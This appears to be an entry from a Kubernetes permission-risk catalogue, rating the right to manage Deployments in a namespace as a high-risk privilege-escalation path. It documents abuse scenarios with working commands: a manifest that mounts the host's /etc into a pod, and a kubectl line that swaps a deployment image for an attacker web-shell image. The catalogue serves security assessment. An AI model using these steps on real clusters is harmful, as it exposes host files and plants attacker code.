Overview

FieldValue
ID1034
NameManage Deployments in a namespace (potential for privileged pod execution)
Risk CategoryElevation of Privilege
Risk LevelHigh
Role TypeRole
API Groupsapps
Resourcesdeployments
Verbscreate, update, patch, delete
TagsPersistence PotentialPrivilegeEscalation Tampering WorkloadLifecycle

Description

Grants permission to create, update, or delete Deployments within a specific namespace. This can be used to deploy pods with privileged settings within that namespace, potentially leading to privilege escalation, persistence, and tampering with applications.

Abuse Scenarios

  1. Create a new Deployment with a hostPath mount in the namespace.
kubectl create -n <namespace> -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: hostpath-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostpath-app
  template:
    metadata:
      labels:
        app: hostpath-app
    spec:
      containers:
      - name: hostpath-container
        image: busybox
        command: ["/bin/sh", "-c", "sleep infinity"]
        volumeMounts:
        - mountPath: /host-etc
          name: host-etc
      volumes:
      - name: host-etc
        hostPath:
          path: /etc
EOF
# Example: kubectl create -n development -f - <<EOF ... EOF
  1. Update an existing Deployment’s image to a malicious one.
kubectl set image deployment/<deployment-name> <container-name>=<malicious-image> -n <namespace>
# Example: kubectl set image deployment/my-web-app web=attacker/web-shell -n default